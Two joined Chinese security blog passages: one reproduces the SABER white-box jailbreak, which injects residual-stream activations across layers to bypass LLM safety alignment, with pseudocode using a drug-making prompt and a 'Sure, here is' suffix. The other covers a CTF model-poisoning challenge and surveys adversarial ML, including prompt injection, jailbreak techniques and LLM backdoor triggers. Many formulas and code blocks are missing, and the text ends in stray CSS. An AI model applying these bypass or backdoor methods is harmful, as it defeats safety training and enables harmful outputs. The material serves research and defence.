HookPoint，不仅能追踪进入块之前（resid_pre）、注意力处理后（resid_mid）以及 MLP 处理后（resid_post）的完整残差流状态，还能实现组件级观测，针对每一层单独提取注意力机制和 MLP 的输出。其中，注意力输出捕获 "France" 与 "capital" 之间的语义关联，MLP 输出负责更复杂的推理过程，并将所有组件堆叠成 shape 为 [组件数，批次，位置，d_model] 的统一张量；然后凭借残差空间与词表双向映射，通过 tokens_to_residual_directions() 方法利用模型解嵌入矩阵W_U将目标词 "Paris" 映射为残差空间中的方向向量，再借助 Logit Lens（贡献量化）方法，通过 apply_ln_to_stack() 自动适配每层不同的 LayerNorm 或 RMSNorm 缩放因子，对所有组件做一致性的缩放校正，并将每个残差流组件与 "Paris" 方向向量进行点积运算，得到的 Logit 数值就是各组件对 "Paris" 预测的贡献度（数值越大贡献越大），这样就成功建立起隐藏层向量与具体词语的关联。最后可以通过固定参数微调的方式，freeze 其他层，对关键层“旁挂”指定的数据，观测是否可以将 "Paris" 替换成其他答案，从而验证这一层是否为真正的关键层。下图是一个demo实验结果，观测 Qwen3:8B 模型，得出27层对于 "Paris" 结果的贡献度可能最大。这里可以观察到，一般在模型的最后几层是权重比较大的层，很可能影响最终的推理结果。0x03 跨层残差绕过LLM内生安全SABER (Safety Alignment Bypass via Extra Residuals) 是来自印度理工学院德里分校的研究团队在2025年提出的一种新型白盒越狱方法，该方法通过跨层残差连接绕过了LLM的内生安全，提高了攻击成功率。我发现这个项目没有公开实验数据集和代码，目前全网还没有人复现，感觉挺有意思的，所以结合 TransformerLens 尝试复现。3.1 原理 加载模型并包装 Hook 机制，利用 PyTorch 的 register_forward_hook() 在前向传播时抓取该层输出Transformer 每层的隐藏表示（残差流输出）。 用激活值替换的思路找到防御层，把良性prompt和有害prompt看作两条不同的内部计算轨迹：先记录良性prompt在各层产生的中间表示（即，每层处理后会输出一个张量），然后在评估有害prompt时，逐层把某一层的中间表示替换为良性对应层的表示，并观察模型输出的行为指标（例如，更偏向拒答还是更偏向正常回答）发生了多大变化；如果某一层的替换会引起最大的行为转向，说明该层对安全相关行为最敏感，可作为后续分析与加固的重点对象。所以在有害prompt输入后，可以从防御层之前的层作为源层，提取激活值用于注入攻击。 注入攻击：提前配置好不同组的干预幅度（干扰目标层的比例)、源层（防御层之前的层）与目标层（防御层之后的层）的相对距离、后缀注入提示词。选定一组“源层/目标层”作为实验配置；随后对同一输入运行一次前向计算以获取源层的中间表示，并构造一个干预函数用于在目标层对激活进行受控修改（利用源层激活值计算出干扰后的目标层激活值）；接着把该干预函数注册到目标层对应的激活位置，再运行一次生成过程并记录输出变化；最后统一清理所有 hooks 与缓存，确保每次实验相互独立、可重复对比。 **SABER 程序执行关键片段** **阶段 1: 加载模型并包装 Hook 机制** model = AutoModelForCausalLM.from_pretrained(...) hooked_model = HookedModel(model, tokenizer) **阶段 2: 定位防御层 (Activation Patching)** clean_prompt = "How to create a python script?" harm_prompt = "How to create meth drug?" for layer in all_layers: patch clean→harm at last token position measure logit_diff change defense_layer = layer with max effect **阶段 3: 提取源层激活值** source_layer = defense_layer - offset source_act = run_with_cache(harm_tokens)[source_layer] **阶段 4: SABER 注入攻击** h'_target = h_target + h_source × (|h_t|/|h_s|) × λ **阶段 5: 生成越狱响应** prompt = harm_prompt + " Sure, here is..." output = model.generate(prompt) # 攻击成功：模型输出有害内容 3.2 实验结论这里的测试对象分别选用了： Qwen-1_8B-Chat（弱逻辑模型）、DeepSeek-R1-Distill-Qwen-32B（思考能力强逻辑模型）、Qwen3-30B-A3B-Instruct（MoE架构模型）。实验中的六组配置，分别是不同的λ（干预幅度）、层偏移量（源层->目标层）、后缀诱导话术。下图是程序运行的结果，可以发现 DeepSeek-R1-Distill 和 Qwen3 都属于“高智商”模型，且使用了更复杂的 RLHF/DPO 对齐，安全对齐权重大的层都是在最后的几层，尤其是有思维链的时候，会先在前中层进行大量思考，如果安全机制在这些层就中断思考，那推理能力会大打折扣。这和 SABER 论文中在中间位置的结论是有区别的，因为当时的模型都是2024年发布的。0x04 风险分析 绕过模型内生安全限制，生成任意毒性数据 恶意推理包装器：在私有化部署的模型推理环境中，恶意用户不需要修改模型文件，只需要在一个 Python 脚本中“劫持”模型的推理过程，输出不合规内容。 模型投毒：找到安全对齐贡献度最大的层，冻结其他层，然后对目标层进行固定参数微调，降低拒答率，但过拟合的问题严重。 0x05 防御方案 模型来源与完整性校验 只使用可信来源模型，做完整性校验。 防推理过程被 Hook 劫持/滥用 激活异常检测：在推理服务中监控关键层激活的范数/方差变化，出现非自然突增则告警或中断。 代码/运行时完整性：在受控环境禁用或审计动态 hook 行为（如阻止注册 forward hook、限制运行时反射），并对推理进程与依赖做权限隔离与可观测审计。 模型层级加密 对模型结构进行分析，定位安全相关或关键贡献的目标层，并按加密策略对这些目标层进行加密保护，从模型文件分发与部署环节提升关键层参数/结构的安全性，降低被篡改或被恶意利用的风险。可以参考联想全球安全实验室专利方案 CN120541862A 。 0x06 参考文献1、TransformerLens. TransformerLens 文档（v2.16.1）：生成式语言模型的机械可解释性库 [Web Page]. 检索于 https://transformerlensorg.github.io/TransformerLens/2、Joshi, M., Nandi, P., & Chakraborty, T. （2025 年 9 月 19 日）. SABER：基于跨层残差连接的安全对齐漏洞挖掘. arXiv. https://doi.org/10.48550/arXiv.2509.160603、专利 CN120541862A《模型加密方法、数据处理方法和电子设备》，公开日 2025-08-26
深度对抗学习详解：从一道模型污染例题研究AI样本对抗技术的演进
我们首先用一道题目来引出今天的话题。0xGame 2025 Week4 - 旧吊带袜天使:想吃真蛋糕的Stocking题目提供了一个基于PyTorch的CNN图像分类模型 SimpleDessertClassifier,用于识别三种类型的甜点:​模型结构:卷积层: 提取图像特征(3→32→64→128通道)自适应池化: 统一输出为7×7特征图全连接层: 128×7×7 → 256 → 128 → 3(三类输出)在PyTorch的state_dict中,最后一层(输出层)的参数命名为:'classifier.5.weight': 形状 (3, 128) - 权重矩阵'classifier.5.bias': 形状 (3,) - 偏置向量在app.py中的判断逻辑:​我们要想拿到flag必须满足一下条件cake_confidence < 24 - 蛋糕的置信度小于24poisoned_apple_confidence > cake_confidence - 毒苹果置信度大于蛋糕置信度模型上传接口​检查了文件扩展名，使用了weights_only加载，但是没有验证模型参数的合理性，这就是漏洞点。根据PyTorch官方文档,load_state_dict要求:●键名必须完全匹配●张量形状必须完全匹配这使得我们可以精确控制模型参数,特别是输出层的参数。核心思路1CNN卷积层和中间层难以预测和控制2但输出层(最后一个Linear层)直接影响三个类别的logits输出3通过操纵输出层的weight和bias,可以直接控制各类别的置信度数学原理:如果我们设:● weight = 0 (全零矩阵)●bias = [-10.0, 10.0, 0.0]则:●Cake logit ≈ -10.0 (置信度极低)●Poisoned Apple logit ≈ 10.0 (置信度极高)●Other logit ≈ 0.0 (置信度中等)这样就满足了获取flag的条件。神经网络输出层机制在PyTorch中,未经softmax的输出称为logits:Softmax转换:当差异较大时:● logit_poison = 10.0 → exp(10) ≈ 22026● logit_cake = -10.0 → exp(-10) ≈ 0.000045●poison_confidence ≈ 99.99%●cake_confidence ≈ 0.0002%满足 cake_confidence < 24 和 poisoned_apple_confidence > cake_confidence。exp第一次遇到模型污染攻击的题目，我们来总结一下AI样本对抗的一些内容和知识点。一、对抗性威胁1.1 问题背景2014年，Szegedy等人首次发现了一个令人震惊的现象：深度神经网络对输入数据的微小扰动异常敏感[1]。通过在图像上添加精心设计的扰动，这些扰动在人类观察者看来几乎不可察觉，却能让分类器的准确率从90%以上骤降至接近0%。这一发现揭开了对抗性机器学习研究的序幕。更令人担忧的是，对抗样本具有迁移性（Transferability）——在某一个模型上生成的对抗样本，往往能够成功攻击其他架构完全不同的模型。这一特性使得对抗攻击在实际应用场景中构成严重威胁。1.2 现实威胁案例自动驾驶系统：研究者通过在停车标志上添加精心设计的贴纸，成功欺骗目标检测模型将其识别为限速标志[2]。这种物理对抗攻击直接威胁道路交通安全。人脸识别系统：通过佩戴特殊设计的眼镜框，攻击者可以绕过基于深度学习的人脸验证系统[3]。这种对抗性眼镜的图案对人类观察者而言只是普通的装饰，但对神经网络而言却是致命的扰动。恶意软件检测：对抗样本技术已被应用于恶意PDF文件的生成，使得能够绕过基于机器学习的检测系统[4]。这表明对抗性威胁不仅限于视觉领域。1.3 对抗样本的定义二、对抗样本的产生机理2.1 线性假设解释2.2 决策边界理论从决策边界（Decision Boundary）的角度看，对抗样本反映了模型决策边界的扭曲特性。在高维空间中，决策边界的复杂度远超人类直觉。研究表明，深度神经网络的决策边界呈现出"指状突起"（Finger-like protrusions）结构[6]。这些细长的突起深入到各个类别的区域，使得在任何数据点附近都存在通往其他类别的低扰动路径。2.3 流形视角另一种解释基于数据流形（Manifold）理论。自然图像在高维像素空间中实际上分布在一个低维流形上。深度神经网络学习的是这个流形上的概率分布。对抗样本位于流形之外，但非常接近流形表面。模型在流形之外的区域行为不可控，容易被扰动误导。这类似于"分布外泛化"（Out-of-Distribution Generalization）问题。三、经典攻击算法详解3.1 梯度类攻击方法3.1.1 FGSM（Fast Gradient Sign Method）FGSM是最早的一阶攻击方法，由Goodfellow在2015年提出[5]。核心思想是沿损失函数的梯度方向进行最大化扰动：FGSM的优势：●计算高效，仅需一次前向和反向传播●扰动可控●在黑盒场景下具有较好的迁移性局限性：●单步攻击容易被对抗训练防御●扰动幅度受限时成功率较低3.1.2 I-FGSM（Iterative FGSM）I-FGSM通过多次迭代应用FGSM，每次迭代使用较小的步长：I-FGSM显著提升了攻击成功率，但迁移性有所下降。3.1.3 MI-FGSM（Momentum I-FGSM）为提升迁移性，Dong等人引入动量机制动量机制有助于：●跨越局部极值●稳定优化方向●提升不同模型间的迁移性3.1.4 PGD（Projected Gradient Descent）PGD被Madry等人视为对抗鲁棒性的"基准攻击"[8]。算法框架：PGD的关键创新在于随机初始化，这使得攻击能从不同起始点探索决策边界，显著增强了攻击效果。Madry等人证明，对抗训练若能防御PGD攻击，通常也能防御其他一阶攻击。3.2 优化类攻击方法3.2.1 C&W攻击（Carlini & Wagner Attack）Carlini和Wagner提出的优化攻击[9]被认为是当时最强的白盒攻击方法。核心思想是将对抗样本构造转化为约束优化问题C&W攻击的三种变体：● C&W L0：最小化修改像素数量● C&W L2：最小化欧氏距离● C&W L∞：最小化最大像素变化C&W攻击突破了当时多数防御方法，包括 Defensive Distillation（防御蒸馏）。3.2.2 EAD（Elastic-Net Attack to DNNs）Chen等人提出基于Elastic Net正则化的优化框架3.3 黑盒攻击方法3.3.1 基于迁移性的黑盒攻击利用对抗样本的迁移特性，攻击者可以在本地模型上生成对抗样本，直接用于攻击远程目标模型。提升迁移性的策略：● 使用集成模型（Ensemble）作为替代模型● 引入数据增强（Data Augmentation）● 使用动量机制稳定优化3.3.2 基于查询的黑盒攻击当无法获得目标模型的梯度信息时，可采用基于优化的查询方法。NES（Natural Evolutionary Strategy）攻击 通过自然进化策略估计梯度：Boundary Attack 从随机噪声出发，沿决策边界逐步逼近目标样本，保持对抗性同时减小扰动。SPSA（Simultaneous Perturbation Stochastic Approximation）： 使用同时扰动随机近似估计梯度，每次仅需两次查询即可获得梯度估计。3.4 物理对抗攻击3.4.1 数字域到物理域的挑战将数字域对抗样本应用到物理世界面临两大挑战：1 光照变化：拍摄条件的变化导致实际输入与预期不一致2 视角变换：拍摄角度影响对抗扰动的作用3.4.2 典型物理攻击方法RP2（Robust Physical Perturbations）[13]： 通过在不同光照和角度下优化，生成具有物理鲁棒性的对抗贴纸。关键是在优化过程中引入环境变化的模拟：对抗性补丁（Adversarial Patches）[14]： Brown等人提出生成任意形状的图像补丁，无论贴在图像何处都能触发攻击。优化目标是：通过期望-最大化（Expectation-Maximization）算法求解。四、新兴攻击前沿4.1 针对Transformer的对抗攻击Vision Transformer（ViT）的兴起带来了新的攻击向量。研究表明，ViT的自注意力机制（Self-Attention）存在特殊脆弱性[15]。Patch-wise攻击： 不同于CNN的像素级攻击，ViT的对抗扰动可以针对Image Patch层面构造：Token级扰动： 在语言模型中，针对输入Token的嵌入向量进行优化，而非原始文本。4.2 视觉-语言多模态攻击大型视觉-语言模型（如CLIP、GPT-4V）的对抗研究成为热点[16]。跨模态迁移攻击： 利用图像和文本模态间的对齐关系，通过修改一模态影响另一模态的表征：链式攻击（Chain of Attack） CVPR 2025的研究表明，VLM比单一语言模型更易受攻击，原因在于视觉模态对细微扰动的敏感性。攻击策略为：1在图像空间生成对抗扰动2通过视觉编码器传递到联合嵌入空间3影响跨模态注意力机制4最终导致语言输出错误4.3 后门攻击（Backdoor Attack）后门攻击不同于前述的对抗样本，它在训练阶段植入恶意行为。触发器设计： 常见的触发器模式：●图像角落的特定图案●隐写术嵌入的隐蔽信号●语义级触发（如"特定物体+特定背景"）BadNets攻击 通过在训练集中注入带触发器的样本，使得模型在测试时遇到触发器即输出攻击者指定的类别。隐式后门攻击： 使用正则化方法使后门激活模式与正常激活模式难以区分：4.4 数据投毒攻击数据投毒攻击通过污染训练数据来植入后门或降低模型性能。标签翻转攻击： 将部分训练样本标签改为错误类别，导致决策边界偏移。清洁标签攻击 更隐蔽的方法，保持标签正确但选择靠近决策边界的困难样本进行微小扰动：4.5 图像对抗样本的不可感知性度量为了更精确地量化对抗扰动的不可感知性，研究者提出了多种度量方法：五、大语言模型对抗攻击随着ChatGPT、GPT-4等大语言模型的广泛应用，LLM的对抗安全问题成为研究热点。与传统CV领域的对抗样本不同，LLM面临独特的挑战和攻击方式。5.1 LLM对抗攻击的特点离散输入空间： 语言模型的输入是离散的token序列，无法直接应用连续优化方法： 语义约束强： 扰动后的文本必须保持语法正确和语义连贯，这比图像扰动约束更强。黑盒场景为主： 大多数LLM通过API提供服务，攻击者只能访问输入输出接口。5.2 提示注入攻击（Prompt Injection）提示注入是目前LLM面临的最严重安全威胁之一。直接注入： 通过精心设计的提示词覆盖系统指令：间接注入： 将恶意指令隐藏在看似正常的内容中：多轮注入： 通过多轮对话逐步引导模型突破安全限制：形式化定义 5.3 对抗性提示生成基于优化的方法：GCG（Greedy Coordinate Gradient） 通过贪婪坐标梯度搜索最优后缀扰动：算法框架：基于搜索的方法：遗传算法 将提示词视为基因序列，通过变异、交叉、选择进化：● 变异：随机替换token或同义词替换● 交叉：组合两个成功的提示词片段● 选择：保留攻击成功率高的个体强化学习方法： 将对抗提示生成建模为序列决策问题：5.4 越狱攻击（Jailbreaking）越狱攻击旨在绕过LLM的安全护栏。角色扮演攻击： 通过设定角色场景规避安全限制：翻译攻击： 利用语言差异绕过过滤器：●将恶意请求翻译为低资源语言●通过LLM处理后再翻译回原语言●某些语言的语义表达可能未被安全训练充分覆盖编码攻击： 将指令编码为特殊形式：●Base64编码●ASCII/Unicode字符●摩斯电码●凯撒密码示例：组合攻击： 结合多种技术的混合攻击：1使用角色扮演设定上下文2通过编码隐藏真实意图3利用多轮对话逐步引导4添加干扰token迷惑检测器5.5 LLM后门攻击触发器植入： 在训练阶段或微调阶段植入后门：特定词触发： 在输入中包含特定关键词时触发恶意行为： $$P(恶意输出 | 输入 + 触发词) approx 1$$句法结构触发： 特定的句子结构触发后门：隐式触发 使用难以察觉的触发器，如：●特殊标点符号组合●文本末尾的空白字符●Unicode零宽字符训练数据投毒： 5.6 针对RAG系统的对抗攻击检索增强生成（RAG）系统的攻击向量：检索阶段攻击： 构造文档使得被错误检索： 生成阶段攻击： 在被检索的恶意文档中植入误导信息，使LLM生成错误内容。多跳推理攻击： 针对需要多步推理的RAG系统，在某个中间步骤注入错误信息，影响最终结论。5.7 LLM对抗攻击评估攻击成功率： 查询效率： 平均需要的查询次数或轮次。文本质量： 评估对抗提示的自然度和流畅度，使用：●困惑度（Perplexity）●人工评估●GPT-4等作为裁判覆盖度： 攻击方法对不同类型任务的有效性：●代码生成●有害内容生成●隐私信息泄露●虚假信息传播六、扩散模型与生成式AI的对抗研究生成式AI的快速发展带来了新的安全挑战。扩散模型作为当前最强大的生成模型，其对抗性研究成为前沿方向。6.1 扩散模型原理回顾6.2 针对扩散模型的对抗攻击6.2.1 图像到图像生成的对抗攻击文本引导图像编辑攻击[35]： 通过对抗性文本提示生成恶意图像：目标优化： $$max_{delta} mathbb{E}[ ext{损失函数}( ext{生成图像}, ext{目标属性})]$$例如：潜在空间对抗扰动： 在扩散模型的潜在空间注入扰动： 影响后续的去噪过程，导致生成偏离预期。6.2.2 针对图像生成的不可见水印攻击水印移除攻击： 通过添加精心设计的扰动移除生成图像中的水印：水印伪造攻击： 在真实图像中添加伪造的水印，使其被误判为AI生成。6.2.3 反向攻击与隐私窃取成员推断攻击： 判断某样本是否在训练集中： 训练数据提取[36]： 通过逆向扩散模型恢复训练数据：攻击算法：模型反演： 从模型输出恢复敏感训练信息，特别是人脸等敏感数据。6.3 生成对抗网络的对抗性研究6.3.1 GAN的脆弱性分析6.3.2 模型窃取攻击6.4 生成式AI的防御策略6.4.1 对抗训练 for 生成模型鲁棒去噪器训练： 防御性蒸馏： 使用高温蒸馏平滑生成模型的决策边界。6.4.2 水印与版权保护不可见水印技术[37]：基于频域的鲁棒水印：1将水印嵌入到图像的DCT/DWT系数中2水印对常见的图像处理具有鲁棒性3可通过统计检测验证水印存在基于优化的水印： 神经网络水印： 在模型参数中嵌入水印：●触发器集：特定输入产生特定输出●参数 embedding：将水印编码到权重矩阵6.4.3 生成内容检测基于检测器的识别： 特征包括：●频域统计特征●局部纹理模式●深度特征异常零样本检测： 利用零样本学习无需训练即可检测：●计算图像在CLIP等模型中的特征分布异常●使用困惑度等指标多模态检测： 6.5 AIGC安全事件与伦理讨论Deepfake与虚假信息：●政治人物视频伪造●商业诈骗●个人名誉损害版权侵权争议：●AI训练数据的合法性●生成内容的版权归属●风格模仿的法律边界内容审核挑战：●海量生成内容的审核难度●跨平台监管的复杂性●技术对抗与军备竞赛七、深度对抗鲁棒性理论分析7.1 对抗样本的几何视角7.1.1 决策边界的曲率分析从微分几何角度，决策边界的曲率决定了对抗样本的易攻击性。研究表明，深度神经网络的决策边界具有极大的负曲率区域，导致对抗样本的存在。7.1.2 决策边界的分形维度决策边界的盒计数维度（Box-counting Dimension）：实验表明，深度神经网络的决策边界维度接近输入空间维度，这是对抗样本存在的根本原因之一。7.1.3 余度假设与线性可分性余度假设（Excess Capacity Hypothesis）： 神经网络参数数量远超训练样本数，导致存在大量决策边界可实现零训练误差。高VC维意味着模型可以记忆训练数据而非学习泛化规律，决策边界在数据点之间扭曲形成对抗样本。7.2 泛化理论与鲁棒性7.2.1 泛化界与鲁棒性7.2.2 分布鲁棒优化7.3 信息论视角7.3.1 互信息与特征学习7.3.2 信息瓶颈的鲁棒性解释从信息论角度，对抗样本的存在是因为模型学习了对分类任务无关的特征。IB理论表明，最优表示应该丢弃输入中的"噪声"（包括对抗扰动），只保留与任务相关的信息。7.4 对抗样本的因果解释7.4.1 相关性与因果性传统深度学习学习的是特征与标签之间的统计关联，而非因果关系。虚假相关（Spurious Correlation）： 例如：训练集中"雪地"背景与"狼"标签高度相关，导致模型对"雪地上的哈士奇"误分类。对抗样本利用了这些虚假相关特征。7.4.2 因果表示学习7.5 可证明的鲁棒性下界7.5.1 准确率-鲁棒性权衡的理论分析7.5.2 神经正切核（NTK）视角NTK理论表明：●标准训练的模型在数据点附近拟合迅速●但在远离数据点的区域泛化能力差●对抗样本恰好位于训练数据流形的"空隙"中八、端到端实战案例本章节通过具体案例展示对抗样本攻防的完整流程，从代码实现到结果分析。8.1 图像分类模型对抗攻击实战8.1.1 环境准备8.1.2 加载预训练模型8.1.3 FGSM攻击实现8.1.4 PGD攻击实现8.1.5 C&W攻击实现8.1.6 可视化对比8.2 对抗训练完整流程8.2.1 基础对抗训练8.2.2 TRADES对抗训练8.3 LLM对抗攻击实战8.3.1 提示注入攻击示例8.3.2 GCG攻击算法实现8.4 扩散模型对抗攻击8.5 攻击效果评估与对比九、评估指标与基准9.1 攻击能力评估9.1.2 扰动幅度9.1.3 查询复杂度（Query Complexity）9.1.4 迁移性9.2 防御能力评估9.2.1 鲁棒准确率（Robust Accuracy）9.2.2 准确率-鲁棒性权衡9.2.3 认证半径（Certified Radius）9.3 常用数据集数据集任务规模对抗研究特点MNIST手写数字60K训练/10K测试入门基准，易防御CIFAR-10物体分类50K训练/10K测试标准测试集ImageNet大规模分类1.2M训练/50K验证真实场景基准TinyImageNet小规模ImageNet100K训练/10K测试计算效率折中SVHN门牌号识别73K训练/26K测试数字识别场景9.4 自动化评估工具Foolbox： Python库提供统一接口实现多种攻击算法：ART（Adversarial Robustness Toolbox）： IBM开发的对抗鲁棒性工具箱，提供攻击、防御、评估的完整流程。CleverHans： Goodfellow等人开发的早期对抗攻击库，提供FGSM、JSMA等经典算法实现。十、开放问题与未来方向10.1 准确率与鲁棒性的根本矛盾经验表明，提升模型鲁棒性往往以牺牲标准准确率为代价。Schmidt等人从信息论角度证明，在高维数据分布下，实现高准确率和高鲁棒性需要指数级样本复杂度[30]。这提示可能需要：● 新的学习范式：超越纯监督学习● 先验知识注入：利用人类视觉先验● 因果推理：从相关性转向因果性10.2 大模型的对抗鲁棒性随着GPT-4、CLIP等大模型的兴起，新问题涌现：计算成本：对大模型进行PGD攻击或对抗训练计算开销巨大。研究方向：●参数高效微调（PEFT）结合对抗训练●LoRA（Low-Rank Adaptation）在对抗场景的应用●梯度累积与分布式优化黑盒迁移攻击：大模型API只提供输入输出接口，如何设计高效查询攻击？10.3 生成式AI的对抗问题扩散模型（Diffusion Models）和生成对抗网络（GAN）的对抗研究：扩散模型反向攻击： 通过优化去噪过程，从模型中恢复训练数据隐私。生成模型的版权保护： 对抗水印技术保护生成内容不被盗用。10.4 多模态与联邦学习的安全性跨模态对抗传播： 视觉-语言-音频多模态模型中，一模态的扰动如何影响其他模态？联邦对抗学习： 在分布式训练场景下，如何防御恶意客户端的对抗性投毒？10.5 可证明鲁棒性现有的经验性防御（如对抗训练）只能提供经验保证。研究方向：形式化验证： 使用SMT求解器对小型网络进行精确验证。凸松弛： 将非线性激活函数凸化，得到鲁棒性的可证明上界。随机平滑扩展： 将随机平滑理论扩展到更复杂的数据分布和网络架构。10.6 对抗样本的双重性研究最新研究开始探索对抗样本的积极意义：数据增强： 利用对抗样本扩充训练集，提升模型泛化能力。可解释性： 对抗样本揭示模型决策逻辑，帮助理解黑盒模型。对抗性调试： 通过生成对抗样本发现模型缺陷，指导改进。10.7 2023-2025最新研究进展10.7.1 自动对抗攻击（AutoAttack）[39]Croce和Hein提出的AutoAttack是一个自适应攻击框架，自动选择最优攻击组合：核心思想：●使用多种攻击方法（APGD-CE, APGD-DLR, FAB, Square）●通过自适应策略选择最有效的攻击●提供更可靠的鲁棒性评估算法流程：10.7.2 对抗性微调（Adversarial Fine-tuning）[40]针对预训练大模型的对抗性微调方法：方法：●在预训练模型基础上进行对抗性微调●使用较小的学习率和扰动预算●仅微调部分层（如最后几层或注意力层）优势：●降低计算成本●保留预训练知识●提升下游任务的鲁棒性10.7.3 基于提示的防御（Prompt-based Defense）[41]针对LLM的防御新方法：系统提示工程：红队测试（Red Teaming）：●组建专业红队进行对抗性测试●使用自动化工具生成对抗样本●建立攻击-防御迭代循环10.7.4 多模态对抗研究进展CLIP模型的脆弱性[42]： 研究发现视觉-语言预训练模型对特定扰动高度敏感：●视觉扰动向文本空间的迁移●跨模态对抗样本的构造●零样本分类的鲁棒性分析扩散模型的鲁棒性[43]： 针对Stable Diffusion等模型的攻击：10.7.5 物理对抗攻击新进展3D打印对抗物体[44]： 通过3D打印生成物理对抗物体：●优化物体的3D几何结构●考虑不同光照和角度●实际测试验证攻击效果对抗性纹理（Adversarial Textures）： 将对抗扰动应用到现实世界的纹理：●服装图案●车辆涂装●建筑外观10.7.6 量子计算与对抗鲁棒性新兴研究方向：量子对抗攻击： 利用量子算法加速对抗样本生成：●量子梯度估计●量子优化算法（QAOA）●量子机器学习模型的鲁棒性后量子密码学与AI安全：●抗量子攻击的神经网络●量子密钥分发与模型保护10.7.7 对抗样本的法律与伦理框架监管政策：●欧盟AI法案对对抗鲁棒性的要求●NIST AI风险管理框架●ISO/IEC AI安全标准负责任的AI开发：●对抗鲁棒性作为AI安全指标●红队测试作为标准流程●透明度和可解释性要求十一、实践建议与最佳实践11.1 对抗训练实施指南11.1.1 基础配置11.1.2 高级技巧早期停止（Early Stopping）： 监控验证集鲁棒准确率，避免过拟合。课程学习（Curriculum Learning）： 自适应攻击强度： 根据当前模型鲁棒性动态调整epsilon。附录：快速参考A.1 主要攻击算法对比算法类型复杂度成功率迁移性适用场景FGSM单步梯度O(1)低高快速测试I-FGSM迭代梯度O(T)中中标准攻击MI-FGSM动量迭代O(T)中-高高迁移攻击PGD投影梯度O(T)高中鲁棒训练C&W优化高很高低强力攻击NES黑盒估计O(N×T)中N/A黑盒攻击A.2 主要防御方法对比方法准确率影响鲁棒性计算开销可证明性对抗训练中等高高否TRADES较小高高否随机平滑较大中中是IBP较小中中是输入变换较小低低否A.3 常用扰动预算值.lakex-default-theme{--lakex-editor-background:#fff;--lakex-editor-background-primary:#fff;--lakex-editor-background-primary-hover:#EFF0F0;--lakex-editor-background-primary-hover-light:#E7E9E8;--lakex-editor-background-secondary:#FAFAFA;--lakex-editor-background-tertiary:#F4F5F5;--lakex-editor-background-foreground:#fff;--lakex-editor-border-light:rgba(0, 0, 0, 0.04);--lakex-editor-code-background:#0000000f;--lakex-editor-column-background-highlight:#D9EAFC7F;--lakex-editor-icon-secondary:#585A5A;--lakex-editor-selection:rgba(27, 162, 227, 0.2);--lakex-editor-table-bar-active:#2F8EF4CC;--lakex-editor-table-bar-danger:#E4495B5A;--lakex-editor-table-scrollbar-thumb:#00000033;--lakex-editor-text-color:#262626;--lakex-editor-text-body:#585A5A;--lakex-editor-text-caption:#8A8F8D;--lakex-editor-text-disable:#BEC0BF;--lakex-editor-text-link:#117CEE;--lakex-editor-text-link-hover:#5FA8F6;--lakex-editor-border-primary:#E7E9E8;--lakex-editor-card-background-hover:#5FA8F633;--lakex-editor-card-border-hover:#81BBF8;--lakex-editor-card-border-selected:#2F8EF4;--lakex-editor-color-black:#000;--lakex-editor-color-black-f05:rgba(0,0,0,0.05);--lakex-editor-color-black-f08:rgba(0,0,0,0.08);--lakex-editor-color-black-f12:rgba(0,0,0,0.12);--lakex-editor-color-black-f30:rgba(0,0,0,0.30);--lakex-editor-color-black-f65:rgba(0,0,0,0.65);--lakex-editor-color-blue1:#D9EAFC;--lakex-editor-color-blue2:#C0DDFC;--lakex-editor-color-blue3:#81BBF8;--lakex-editor-color-blue4:#5FA8F6;--lakex-editor-color-blue5:#2F8EF4;--lakex-editor-color-blue6:#117CEE;--lakex-editor-color-blue8:#074A92;--lakex-editor-color-blue9:#00346B;--lakex-editor-color-cyan1:#CEF5F7;--lakex-editor-color-cyan9:#004347;--lakex-editor-color-green5:#0BD07D;--lakex-editor-color-green6:#00B96B;--lakex-editor-color-green7:#009456;--lakex-editor-color-grey1:#FAFAFA;--lakex-editor-color-grey2:#F4F5F5;--lakex-editor-color-grey3:#EFF0F0;--lakex-editor-color-grey4:#E7E9E8;--lakex-editor-color-grey5:#D8DAD9;--lakex-editor-color-grey6:#BEC0BF;--lakex-editor-color-grey7:#8A8F8D;--lakex-editor-color-grey8:#585A5A;--lakex-editor-color-grey9:#262626;--lakex-editor-color-orange1:#FDE6D3;--lakex-editor-color-orange9:#663000;--lakex-editor-color-peaGreen1:#E8F7CF;--lakex-editor-color-peaGreen8:#406105;--lakex-editor-color-peaGreen9:#2A4200;--lakex-editor-color-red1:#FBE4E7;--lakex-editor-color-red4:#EA7583;--lakex-editor-color-red5:#E4495B;--lakex-editor-color-red6:#DF2A3F;--lakex-editor-color-red9:#70000D;--lakex-editor-color-theme:#00B96B;--lakex-editor-color-white:#fff;--lakex-editor-color-white-f60:rgba(255,255,255,0.6);--lakex-editor-color-white-f80:rgba(255,255,255,0.8);--lakex-editor-color-white-f90:rgba(255,255,255,0.9);--lakex-editor-color-yellow5:#F3BB2F;--lakex-alert-tips-bar-border:#BEC0BF;--lakex-alert-tips-bar-bg:#D8DAD9;--lakex-alert-tips-background:#EFF0F0;--lakex-alert-tips-border:#E7E9E8;--lakex-alert-info-bar-border:#C0DDFC;--lakex-alert-info-bar-bg:var(--lakex-alert-info-bar-border);--lakex-alert-info-background:rgba(192,221,252,0.5);--lakex-alert-info-border:#81BBF8;--lakex-alert-color1-bar-border:#B5EFF2;--lakex-alert-color1-bar-bg:var(--lakex-alert-color1-bar-border);--lakex-alert-color1-background:rgba(181,239,242,0.5);--lakex-alert-color1-border:#81DFE4;--lakex-alert-color2-bar-border:#C7F0DF;--lakex-alert-color2-bar-bg:var(--lakex-alert-color2-bar-border);--lakex-alert-color2-background:rgba(199,240,223,0.5);--lakex-alert-color2-border:#82EDC0;--lakex-alert-success-bar-border:#DBF1B7;--lakex-alert-success-bar-bg:var(--lakex-alert-success-bar-border);--lakex-alert-success-background:rgba(219,241,183,0.5);--lakex-alert-success-border:#C1E77E;--lakex-alert-warning-bar-border:#F6E1AC;--lakex-alert-warning-bar-bg:var(--lakex-alert-warning-bar-border);--lakex-alert-warning-background:rgba(246,225,172,0.5);--lakex-alert-warning-border:#F5D480;--lakex-alert-color3-bar-border:#F8D6B9;--lakex-alert-color3-bar-bg:var(--lakex-alert-color3-bar-border);--lakex-alert-color3-background:rgba(248,214,185,0.5);--lakex-alert-color3-border:#F8B881;--lakex-alert-danger-bar-border:#F8CED3;--lakex-alert-danger-bar-bg:var(--lakex-alert-danger-bar-border);--lakex-alert-danger-background:rgba(248,206,211,0.5);--lakex-alert-danger-border:#F1A2AB;--lakex-alert-color4-bar-border:#F7C4E2;--lakex-alert-color4-bar-bg:var(--lakex-alert-color4-bar-border);--lakex-alert-color4-background:rgba(247,196,226,0.5);--lakex-alert-color4-border:#F